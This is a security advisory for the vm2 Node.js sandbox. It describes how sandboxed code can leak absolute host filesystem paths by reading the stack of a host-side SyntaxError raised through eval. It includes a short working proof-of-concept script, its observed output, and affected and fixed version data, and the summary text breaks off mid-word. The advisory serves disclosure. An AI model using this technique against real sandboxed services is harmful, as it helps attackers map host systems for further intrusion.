vm2 leaks absolute host filesystem paths to sandbox code via error stack formatting
## Summary Attacker-controlled code can trigger a host-realm syntax error and read its stack through the vm2 bridge. Host-realm stack formatting bypasses the sandbox-side redaction, so the returned value exposes absolute paths from vm2, Node.js internals, and the embedding application. Default VM and NodeVM configurations are affected without requiring special options. ## PoC A default-configured `VM` runs attacker-supplied code. Calling `eval` with deliberately malformed source makes the host-side source transformer throw a `SyntaxError`; reading `.stack` on the caught error exposes the host call stack to the sandbox. ```js const { VM } = require("vm2"); console.log(new VM().run(` var s; try { eval("@@@ catch") } catch (e) { s = e.stack } s; `)); ``` ### Observed output ```text SyntaxError: Unexpected character '@' at makeNiceSyntaxError (.../lib/transformer.js:41:16) at transformer (.../lib/transformer.js:116:8) at Object.transformAndCheck (.../lib/vm.js:76:14) at Object.apply (.../lib/setup-sandbox.js:2585:16) at VM.run (.../lib/vm.js:529:16) ``` The stack string returned to the sandbox contains absolute host paths for `lib/transformer.js`, `lib/vm.js`, `lib/setup-sandbox.js`, Node internals, and the embedding application's own source file. ## Impact Sandboxed code running under the default `new VM()` or `new NodeVM()` configuration can read absolute filesystem paths of the embedding application's source tree plus host function names, bypassing the host-path redaction adde
GHSA-x6m4-chr9-cg97
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:GHSA-x6m4-chr9-cg97
vm2
Source reference: /affected/0/package/name
- Affected versions
- Not stated in this record
- Fixed versions
- 3.11.7
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "3.11.0"
},
{
"fixed": "3.11.7"
}
]
}
],
"package": {
"name": "vm2",
"purl": "pkg:npm/vm2",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-x6m4-chr9-cg97/GHSA-x6m4-chr9-cg97.json",
"last_known_affected_version_range": "<= 3.11.6"
}
}
]- Related CVEs
- CVE-2026-92936
Source reference:
/aliases
Publisher severity
medium
Source reference: /severity/1/score
- Event
- #85832 · Revision 1
- Added to Heist Feed
- Publisher date